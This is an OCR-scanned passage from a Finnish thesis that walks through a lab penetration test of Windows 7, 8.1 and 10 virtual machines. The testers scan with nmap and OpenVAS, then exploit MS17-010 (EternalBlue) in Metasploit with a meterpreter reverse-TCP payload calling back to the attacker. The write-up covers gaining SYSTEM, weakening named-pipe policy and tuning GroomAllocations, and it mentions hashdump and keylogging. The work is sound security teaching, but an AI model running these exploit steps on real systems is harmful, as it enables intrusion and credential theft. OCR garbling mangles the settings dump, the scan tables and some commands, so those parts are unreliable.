Verckoyhteyden tiedot: Verichoyhteyden tiedot:
Ominiaisuus Arvo Ominaisuus Avo
Yhteyskohtainen DMSite ‘fhteyskohtainen DNSHite
Kuvaus Intel(R) PRO/1000 MT Desktop Adapter - Kuvaus Irte!(R) PRO/1000 MT Deskiop Adapter
Fyysinen oscite 08-00-27-E7-26-78 Vendoyhteydenbedot Fyysinen osote D8-00-27-8E-12CF
DHCP kaytassa E Veskheyhteyden tiedsl: DHCP kaytossa E
|Pvd-osoite 100.200.123.7 Oninaisas Avo Pv4-osote 100.200.123.10
|Pvd-glivericon peite 255.255.255.0 Yhteyskohtainen DNSdte IPv4-aliverkon pete 255,255,255 0
IPvd-oletusyhdyskaytava  100.200.123.1 Kuvaua Intel () PRO/1000 MT Deskico Adaoter .
gt o escte Pt IPvaoletusyhdyskaytava 1002001231
! DHCF kitéess 3 IPv4 DNS -palvein
IPv4 WINS palvelin IPvdascas 100200123 8 IPv4 WINS palvelin
NetBIOS TCP/IPn kautt... Kylla IPyé-akverkon pete 255255.255.0 NetBIOS TCP/IPn kautt . Kyl
Yhteyden sisdinen IPv6-.. FeB:e813:4ba6:44bf cbfE% 11 et 103013 ] e e
|PvE-cletusyhdyskaytava 1Py WINS palveln

Sulje



24

Virtuaaliymparistén luomisen jalkeen aloitettiin tapahtumainkulun demonstroiminen.
Aluksi oli tarve havaita potentiaaliset kohteet, jota varten hyddynnettiin nmap-nimista
tyokalua. Potentiaalisten kohteiden etsimiseen kaytettiin komentoa nmap -sL -oN ~/Do-
cuments/nmap/scanresult, jolla luetteloitiin skannattavat kohteet ja talletettiin skannerin
l[6ytamat tulokset tekstiasiakirjaan haluttuun hakemistoon. Komennon olisi voinut viela
erikseen rajata koskemaan tiettya IP-osoiteavaruutta, silla komennon ollessa kyseisesséa
muodossa julkista verkkoa skannattaessa osumien maara olisi noussut kasittamattdman
korkeaksi. Yleiseen muotoon paadyttiin, silla testipuitteissa oli jo olettama rajoitetusta
maarasta havaittavia koneita. Komento I6ysi kolme paalla olevaa konetta ja luetteloi vas-
tanneiden koneiden avoinna olivat portit ja avoimissa porteissa toimivat palvelut. Dmitry-
tyokalulla komentona kaytettiin dmitry -sp — o ~/Documents/dmitryresults, joka listasi
avoinna olevat portit kohteesta.

Kohteiden havaitsemisen jalkeen aloitettiin haavoittuvuusanalyysin teko kohdekoneita
vastaan. Haavoittuvuusanalyysiin kaytettin OpenVAS-nimistd ohjelmaa. OpenVAS
kaynnistettiin komennolla /etc/init.d/openvas-scanner start. Taman jalkeen avattiin verk-
koselain, jolla otettiin yhteys paikalliseen iséantaporttiin, jossa OpenVAS-palvelu kdynnis-
tyi edeltavalla komennolla. Palveluun kirjauduttiin sisééan asennuksen yhteydessé luo-
duilla tunnistetiedoilla, jonka jéalkeen p&astiin luomaan skannauspolitikat kohdekoneille.

Skannaustulokset tulivat graafisesti esitettyna ja listauksena.

Kuvassa 3 kohteet on skannattu yhdessa paketissa ja I6ydetyt huomionarvoiset asiat
esitetty listana. Vakavimmat haavoittuvuudet liittyvat hajautetun levyjarjestelman el
SMB-palvelimen tietoturva-aukkoihin, porteissa toimiviin palveluihin ja vanhentuneeseen

kayttojarjestelmaan.

ety g ey @ow i ioain |
Check for Discard Service Sl 100 (High | 80%  100.200.123.7 9ftcp

05 End Of Life Detection S 100 (High) | 80%  100.200.123.10 generalftcp
Microsoft Windows SMB Server Multiple Vulnerabilities-Remote (4013389) L IEECTT 95%  100.200.123.7 445(tcp
Microsaft Windows SMB Server Multiple Vulnerabilities-Remote (4013389) O 93 Hion | 95%  100.200.123.8 445/tcp
Microsoft Windows SMB Server Multiple VulnerabilitiesRemote (4013389) Ol 03 Hign | 95%  100.200.123.10 445/tcp
echo Service Reporting (TCP + UDP) % edium) | 80%  100.200.123.7 Tftep
DCE/RPC and MSRPC Services Enumeration Reporting i edium) | 80%  100.200.123.7 135/tcp
Check for Quote of the day Service (TCP) 5 edium) | 80%  100.200.123.7 17ftcp
DCE/RPC and MSRPC Services Enumeration Reporting S edium) | 80%  100.200.123.8 135/tcp
DCE/RPC and MSRPC Services Enumeration Reporting edium) | 80%  100.200.123.10 135/tcp

Kuva 3. Haavoittuvuusanalyysin tulokset.
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Kuvassa 4 OpenVAS-tydkalu on havainnollistanut I6ydettyjen haavoittuvuuksien luku-
maaraa kokoamalla ne yhteen. Graafista voidaan tulkita, ettd mahdollisia hydkkaysteita
kohteisiin 16ytyy ja grafiikkaa voidaan kayttda selkeana demonstraationa yleisoélle, jolle
pitdd vakuuttaa haavoittuvuuksien olemassaolo ja niiden vakavuusaste.

Results by Severity Class (Total: 49)

-

B High
| | Medium
Low

Log

Kuva 4. Piirakkadiagrammi haavoittuvuuksista.

OpenVAS luo luetteloiduista haavoittuvuuksista asiasanalistan, josta voidaan valitto-
masti ndhda, millaisista asioista haavoittuvuudet koostuvat, kuten Kuvasta 5 voi havan-
noida. Haavoittuvuuksien havainnollistaminen asiasanoilla helpottaa merkittavasti tes-
tausprosessin seuraavaa vaihetta: tunkeutumisyrityksia, silla testaajan tarvitsee vain vil-

kaista pilved saadakseen uuden suunnan yrityksille.

~ Results vulnerability word cloud

Check

te MSRPC DCE/RPC
sSMB i

Services

SMBICIES

Server o

Reporting

Kuva 5. Asiasanapilvi tuloksista.

Kohteiden I6ytymisen jalkeen ensimmaista osoitetta aloitettiin tunnustelemaan nmapin
komennolla nmap -sV -O 100.200.123.7, jolla tunnusteltiin porteissa toimivia palveluita
ja kayttojarjestelmaversiota ensimmaisesta kohteesta. Komento tuotti runsaasti infor-
maatiota kohdejarjestelmasta ja mahdollisti tien useammalle hydkkaysvektorille, kuten

Kuvasta 6 voitiin huomata. Kohteen 1 kayttojarjestelma tunnistettiin Windows 7:ksi ja
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avonaisia portteja I6ytyi useampi. Potentiaalisimpana hydkkaysvektorina voitiin pitaa Ku-
van 3 haavoittuvuusanalyysiyhteenvedon perusteella porttia 445, jossa SMB-palvelin oli
kadynnissa. Myos asiasanapilven SMB-avainsanan suurempi fonttikoko tuki 16yddksen

merkityksellisyytta.

:/usr/share/wordlists# nmap -0 -sV 100.200.123.7

Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-10 14:35 EEST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns
or specify valid servers with --dns-servers
Nmap scan report for 100.200.123.7
Host is up (©.00095s latency).
Not shown: 984 closed ports

STATE SERVICE VERSION

open echo

open discard?

open daytime Microsoft Windows daytime

open qgotd windows qotd (English)

open chargen

open msrpc Microsoft wWindows RPC

open netbios-ssn Microsoft Windows netbios-ssn

open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
open tcpwrapped

49 bOrpsuite open msrpc Microsoft wWindows RPC

49153/Ttcp open msrpc Microsoft wWindows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:E7:26:7B (Oracle VirtualBox virtual NIC)
Device type: general purpose
: Microsoft Windows 7|2008|8.1
: cpe:/o:microsoft:windows 7::- cpe:/o:microsoft:windows 7::spl cpe:/o:microsoft:windows server 2
::spl cpe:/o:microsoft:windows server 2008:r2 cpe:/o:microsoft:windows 8 cpe:/o:microsoft:windows 8.

0S details: Microsoft Windows 7 SPO® - SP1l, Windows Server 2008 SP1l, Windows Server 2008 R2, windows 8,
or Windows 8.1 Update 1

Network Distance:

Service Info: Host: V-USER7-PC; 0S: Windows; CPE: cpe:/o:microsoft:windows

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 160.90 seconds
:/usr/share/wordlists#

Kuva 6. Kohteen 1 skannaustulokset.

Tuloksen analysoinnin jalkeen siirryttiin tunkeutumistestausvaiheeseen, jossa tunkeutu-
mistydkaluksi valikoitui Metasploit tehokkuutensa takia. Metasploit kaynnistettiin komen-
toriviltd komennolla msfconsole. Seuraavaksi piti etsia Metasploitin kirjastosta tapauk-
seen soveltuvia moduuleita, jotka koostuivat apumoduuleista, haavoittuvuuden hyddyn-

tajista ja haittakuormista.

Skannerilta l16ytyneesta SMB-palvelimen haavoittuvuudesta avattiin lisétiedot auki, jol-
loin haavoittuvuuden yksityiskohtia paastiin tutkimaan tarkemmin. Merkityksellisin 16yt
sopivan haavoittuvuuden hyoddyntajan |oytamiseen |6ytyy haavoittuvuuden lahde-
tiedoista, joita kayttamalla voidaan etsid Metasploitista haavoittuvuuteen kaypia tytka-
luja. Haavoittuvuuden lahdetiedot on esitetty Kuvassa 7. Seuraavaksi Metasploitin ko-
mentoriville kirjoitettiin komento search CVE-2017-0143, joka palautti Kuvassa 8 esiinty-

vat moduulit. Hakutuloksina I0ytyi haavoittuvuuden hy6dyntgjid ja pari apuohjelmaa.

References

CVE: CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148
BID: 96703, 96704, 96705, 96707, 96709, 96706
CERT: CB-K17/0435, DFN-CERT-2017-0448
Other: https://support.microsoft.com/en-infkb/4013078
https://technet.microsoft.com/library/security/MS17-010
https://github.com/rapid 7/metasploit-framework/pull/8 167 ffiles

Kuva 7. OpenVAS-skannerilla I16ydetyn haavoittuvuuden lisatietoja.
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Disclosure Date Rank

auxiliary/admin/smb/ms17 616 command 2017-63-14 normat MS17-818 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17 616 normal M517-616 SMB RCE Detection

exploit/windows/smb/ms17 018 eternalblue 2017-63-14 average Ye MS17-810 EternalBlue SMB Remote Windows Kernel Pool Corruption

exploit/windows/smb/ms17 816 eternalblue wind 2017-63-14 average MS17-810 EternalBlue SMB Remote Windows Kernel Pool Corruf for Wing+
exploit/windows/smb/ms17 816 psexec 2017-63-14 normal Yes  MS17-810 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

Kuva 8. Metasploitin moduulihaun tulokset.

Vastaavat moduulit olisivat myds l6ytyneet kayttamalla komentoa search ms17-010,
mutta koska haku tuotti jo itsessaan tuloksen, voitiin siirtyd seuraavaan vaiheeseen eli
tunkeutumiseen.  Moduuli  otettin  kayttdon  komennolla use  exploit/win-
dows/smb/ms17_010, jonka tiedot saatiin nakyville kirjoittamalla seuraavaksi komento
show info, jonka tuloste nékyy Kuvassa 9.

e exploit/windows/smb/ms17 616 eternalblue
t( ) > info

MS17-016 EternalBlue SMB Remote Windows Kernel Pool Corruption
Module: exploit/windo b 10_eternalblue
Platform: Windows
Arch

loit Framework License (BSD)

Equation Group

Available targets:
Id Nam

6 Wwindows 7 and Server 2008 R2 (x64) All Service Packs

Check supported:

Basic options:
Name Current Setting Required Description

RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)

SMBDomain no (Optional) The Windows domain to use for authentication

SMBPass no (Optional) The p: rd for the specified username

SMBUser no (Optional) The username to authenticate as

VERIFY_ARCH true yes Check if remote architecture matches exploit Target

VERIFY_TARGET true yes Check if remote 0S matches exploit Target.

Payload information:

Kuv 9. Moduulin tietoja.
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Kuvassa 9 on listattu moduulin tiedot ja asetukset, joita lahdetaan tayttamaan tarvitta-
essa. Moduulista puuttui kohdekoneen osoite, joka asetettiin komennolla set RHOSTS
100.200.123.7. Seuraavaksi tuli asettaa haavoittuvuuden hyodyntgjalle haittakuorma,
joksi valittiin komentokuori. Haittakuorman asetuksia tuli ensin muuttaa, joten haitta-
kuorma laitettiin aktiiviseksi komennolla use payload/windows/x64/meterpreter/re-
verse_tcp. Haittakuorman tietoja paastiin tarkastelemaan komennolla show info, jonka

tiedot nakyvat Kuvassa 10.

mst5 exploit( ) > set RHOSTS 100.200.123.7

RHOSTS => 100.200.123.7

msf5 exploit( ) > use payload/windows/x64/meterpreter/reverse tcp
msf5 payload( ) > info

Name: Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
Module: payload/windows/x64/meterpreter/reverse tcp
Platform: Windows
Arch: x64
Needs Admin: No
Total size: 449
Rank: Normal

Provided by:
skape <mmiller@hick.org>
sf <stephen fewer@harmonysecurity.com>
0] Reeves

Basic options:
Name Current Setting Required Descri

Exit technique (Accepted: '', seh, thread, process,
The listen address (an interface may be specified)
The listen port

Inject the meterpreter server DLL via the Reflective D11l Injection
payload (staged x64). Connect back to the attacker (Windows x64)

msf5 payload( ) > set LHOST 100.2600.123.11
LHOST => 100.200.123.11
msf5 payload( I |

Kuva 10. Haittakuorman tietoja.

Kuvassa 10 nékyy prosessissa kaytettyja komentoja, tietoa haittakuormasta ja sen vaa-
timista asetuksista. Haittakuorma tarvitsi viela hydkkaavan koneen osoitteen, joten se
lisattiin komennolla set LHOST 100.200.123.11. Taméan jalkeen vaihdettiin takaisin haa-
voittuvuuden hyodyntajaan komennolla use exploit/windows/smb/ms17_010. Takaisin-

vaihdon jalkeen asetettiin haavoittuvuuden hyddyntéjalle haittakuorma komennolla set
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payload windows/x64/meterpreter/reverse_tcp. Haittakuorman asettamisen jalkeen haa-
voittuvuutta ryhdyttiin kokeilemaan komennolla exploit. Haavoittuvuuden hyddyntaja

tuotti tulosta ja kohteeseen paastiin sisdén, kuten Kuvasta 11 on nahtavissa.

100.200.123.7:445 -
100.200.123.7:445 - =-

eterpreter > sysinfo
: V-USER7-PC
: Windows 7 (6.1 Build 7601, Service Pack 1).
: Xx64
L
: WORKGROUP
S ¢ 2
Meterpreter : x64/windows
eterpreter > getuid

Server username: NT-HALLINTA\SYSTEM
eterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

Kuva 11. Kohdekoneen jarjestelmétiedot.

Tassa vaiheessa kohdekone on paasty sisaan, jolloin kayttéoikeuksien korottaminen ta-
pahtuu komennolla getsystem. Jarjestelméanvalvojan oikeuksien saamisen jalkeen on
muun muassa mahdollista avata meterpreter-istunnon kautta Windowsin komentokeho-
tetulkki, ottaa kuvakaappauksia kohteen nayttsta, hallita etdnd kohdetta, poimia tiedos-
toja, ladata tiedostoja kohdekoneeseen hyokkaavasta koneesta tai nuuskia kohdeko-
neen nappainpaineluita vain muutamalla komennolla. Esimerkiksi komento run winenum
luetteloi kaikki tiedot Windowsista erillisiin tiedostoihin eriteltyind, kun taas komento
hashdump kaivaa kohteen kayttgjien salasanasotkut esille.

Kohteen 2 tunkeutumisprosessi oli hyvin samankaltainen Kohteen 1 kanssa. Nmapin
kanssa tunnustelu samalla komennolla kuin Kohdetta 1 tunnusteltaessa, pl. kohdeosoite,
tunnisti Kohteen 2 kayttojarjestelmén Windows 8.1:ksi ja haavoittuvuusskannerin tehtya
haavoittuvuusanalyysi, aukoksi paljastui SMB-palvelimen haavoittuvuus aivan kuten
Windows 7:lla. Metasploitissa Windows 8.1 kohdalla kayttojarjestelméan soveltuvaa
haavoittuvuuden hyddyntgjaa haettiin komennolla search eternalblue, jonka tuottamista
tuloksista valittiin kaytettavaksi moduuliksi exploit/windows/x64/smb/ms17_010_eter-
nalblue_win8. Haittakuormaksi valittiin sama takaportti kuin Kohteelle 1. Hyokkays kayn-
nistettiin, mutta huomattiin, etta 8.1:sté puuttui moduulin tarvitsemat nimetyt putket, silla

haavoittuvuuden hyddyntdminen ei onnistunut. Putkella tarkoitetaan tiedostoa, johon
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useammat prosessit voivat injektoida dataa tai josta ne voivat lukea tietoa. Asiaa mukau-

duttiin avaamalla virtuaalikoneesta ryhmakaytantoeditori ja antamalla nimettyjen putkien

arvoja tietokenttadn, kuten Kuvasta 12 voidaan nahda.

Tiedosts Toiminto Nayta  Ohje

| 7FXE=HE

Paikallinen tietokone-kaytanto
v i Tietokoneasetukset
| Ohjelmistoasetukset
v [ Windows-asetukset
1| Mimenselvityskaytante
[ Komentosarjat (Kaynnistéminen/Sammutta
= Kéyttdanotetut tulostimet
v T Suojausasetukset
4 Tilikaytannst
v [, Paikalliset kaytannst
A Valvontakaytanta
4 Jarjestelmaoikeuksien osoitus
 Suojausasetukset
| Windowsin lagjennettu palomuuri
| Verkon luetteloiden hallinnan kaytannat
7 Julkisten avainten kiytinngt
| Ohjelmistojen rajoituskdytannot
| Sovellushallintakaytannat
8, IP-sucjauskaytannst kohteessa Paikallin
| Valvontakaytannon lisimaaritys
ol Kéytantapohjainen QoS
v 7 Hallintamallit

Kaytanta -

[Lvaivonta: sammuta jarjestelma valittomasti, jos sucjauksen ...
[[]Valventa: valvo varmuuskepicinti- ja palautusoikeuksien kay...
[] Valvonta: valvo yleisten jarjestelmaobjektien kayttos

[] Verkkokaytts: Etskohteesta kaytettavat rekisteripolut ja alipo...
[]Verkkokaytta: Jaetut resurssit, joita voidaan kayttas anonyy...

[l verkkokaytte: Nimetyt putket, joita voidaan kayttaa anonyy...
[ Verkkokaytte: Paikallisten tilien jakamis- ja sucjausmalli

[] Verkkokaytta: Rajoita ananyymi kaytta nimettyihin kanaviin ...
[ Verkkokaytta: Rekisteripolut, joita voidaan kayttss etdyhteyd...
[ Verkkokaytts: salli Kaikki-ryhmin oikeuksien koskea anomyy...
[ Verkkokaytte: Ala salli anenyymeja SAM-tilien ja jacttujen re..
[ verkkokaytts: 313 salli salasanojen ja tunnistetietojen tallenta...
[] Verkkokaytts: Al salli SAM-tilien anonyymis luettelemista

[ verkkoyhteys: Salli nimetsn SID/Nimi -kiannss

[[verken suojaus: kirjaa kayttajat ulos autemaattisesti kirjautu...
[]Verken sucjaus: LAN Managerin todennustase

[[]verkon suojaus: LDAP-asiakkaan allekirjoitusvaatimukset

[ Verkon suojaus: marits Kerberoksen sallitut salaustyypit

[Lverken suojaus: Pienin istunnen suojaus NTLM SSP -pohijais...
[ Verken sucjeus: Pienin istunnen sugjaus NTLM SSP -pohjais...

Suojausasetus

Ei kiytsssa

Kaytassa

Ei kaytossa
System\CurrentControls...
Masrittimatsn

netlogon, lsarpe, sam, ...
Perinteinen - paikalliset ...
Kaytassa
System\CurrentControlS...
Ei kiytsssa

Ei kiytossa

Ei kaytossa

Kaytassa

i kiytsssa

Ei kiytossa
Madrittamaton
Neuvottele allekirjoitus
Masrittamatsn

Vaadi 128-bittinen salaus
Vaadi 128-bittinen salaus

Ominaisuudet: Verkkoleaytto: Nimetyt putket, joita voidaa... 7
Paikalinen kaytantoasetus  Seltys

'-j! Verkkokaytte: Nimetyt putket. joita voidaan kayttas anonyymist

"tlogon, Isarpe, samr, browser, atsve, DAV RPC SERVICE, epmap

Kuva 12. Ryhmakaytantéeditorin asetus.

Taman jalkeen hyokkays kaynnistettiin uudelleen kohdetta vastaan, mutta ongelmaksi
koitui kohteen jarjestelman kaatuminen muistin ylivuodon takia. Kohde bootattiin uudel-
leen virtualisointialustasta. Muistin ylivuoto johtui Metasploitin moduulin haavoittuvuuden
hyodyntajan tietueen vaarasta oletusarvosta, joka korjattiin pienentamalla arvoa komen-
nolla set GroomAllocations 4. Taman jalkeen haavoittuvuuden hyédyntaminen onnistui

ja Kohteeseen 2 paastiin sisdén, kuten Kuva 13 havainnollistaa.

meterpreter > sysinfo

Computer : V-USER8-PC

0s : Windows 8.1 (6.3 Build 9600).
Architecture : X64

System Language : fi FI

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x64/windows

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT-hallinta\SYSTEM

meterpreter > ||

Kuva 13. Kohde 2 — lopputulos.

Kohdetta 3 testattaessa prosessi oli hyvin samankaltainen kuin Kohteen 2 tapausta tut-
kiessa. Kohteen 3 kayttojarjestelma ja avoimet portit saatiin esille samalla komennolla
kuin aiempienkin kohteiden, haavoittuvuusskanneri tuotti saman aukon kuin muillekin.
Haavoittuvuuden hyodyntéjéksi kelpasi sama moduuli kuin Windows 8.1:lle, sill& kysei-
nen moduuli tuki jarjestelmia Windows 8:sta ylospain. Haittakuormana toimi sama taka-
portti. Hyokkays kaynnistettiin ja kavi samoin kuin Windows 8.1:n kohdalla, hyokkays ei
mennyt [&pi. Ongelma korjattiin samalla tapaa kuin Kohteen 2 kohdalla, muuttamalla ryh-

makaytantdeditorissa nimettyjen putkien arvoja. Aikaisemmasta yrityksesta oli otettu
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opiksi, joten moduulin GroomAllocations-tietueen arvo laskettiin tarkoituksellisesti al-
haiseksi, jolloin istunnon luominen onnistui ilman jarjestelméan kaatumista muistin ylivuo-
don takia, kuten Kuvasta 14 nékyy. Nain haavoittuvuuksia saatiin hyédynnettyd murtau-

tumiseen Metasploit-tytkalulla.

meterpreter > sysinfo
: DESKTOP-4QQHGVB
: Windows 10 (10.0 Build 10240).
: X64

System Language : fi FI

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x64/windows

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid

Server username: NT-hallinta\SYSTEM

meterpreter > Jj

Kuva 14. Kohde 3 — Lopputulos.

Lopuksi vuorossa opinnaytetydn paatos, jossa pohditaan eteen tulleita haasteita, tyon
etenemista ja mahdollisia solmukohtia. Seuraavassa luvussa annetaan myos pikainen
katsaus opinnaytetytssa kaytettyihin lahteisiin ja perustellaan tietoturvatestauksen hyo-

dyllisyytta.
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5 LOPUKSI

Tietoturvatestausta tarvitsevat erityisesti yritykset, jotka kasittelevat korttitietoja, silla
PCI-DSS-standardi edellyttaa niitd testaamaan ja valvomaan tietoturvajarjestelmia saan-
nodllisesti. Osana tietoturvatestausta kuuluu myds tutkiminen, silla nollapaivéahaavoittu-
vuuksien l6ytaminen on kilpajuoksua rikollisten kanssa. Loydetyt aukot lisatdan julkiseen
tietokantaan, jota tietoturvatestaajat voivat kayttda toimessaan tyokaluna. Opinnayte-
tydssa testattiin vain tyopoytaversioita Windows-kayttdjarjestelmastd, kun taas hyok-
kayspinta-ala ulottuu myds kayttdjarjestelman palvelinversioihin. Toisaalta opinnayte-
tydssa kaytettyjen haavoittuvuuksien hyddyntéamisen pitaisi toimia myds palvelinversi-
oissa, mutta asiaa ei tutkittu. (Penetration Testing Execution Standard 2014c.)

Opinnaytetydssa toteutuivat alussa odotetut osa-alueet, vaikka demonstraatioprosessia
olisi voinut laajentaa kayttamaan useampia keinoja. Toisaalta kaytetyt keinot toimivat
jokaisella valitulla alustalla, joten muita keinoja ei tarvinnut hyddyntaa. Mikali toimineiden
haavoittuvuuden hyddyntéjien kaytto ei olisi onnistunut, olisi mahdollista ollut tehda va-
sytyshytkkays tunnistetietoja kokeilemalla ja I0ydettyja tunnistetietoja kayttaen ladata
sorvattu haittaohjelma kohteeseen, jolloin takaportti olisi mahdollisesti auennut.

Opinnaytetydn toteutuksen haasteena oli kirjallisen osuuden kielen valinta, silla suurin
osa lahdemateriaalista oli englanniksi, eikd alalle ole taysin vakiintunutta sanastoa suo-
meksi. Esimerkiksi Sanastokeskus TSK:lla on Tietotekniikan termitalkoot -projekti kayn-
nissa, eika sivustolla ollut kaikille lahdemateriaalin termeille suomennoksia. La&hdemate-

riaalina kaytettiin merkittévien toimijoiden tuotoksia ja lahteet olivat ajankohtaisia.
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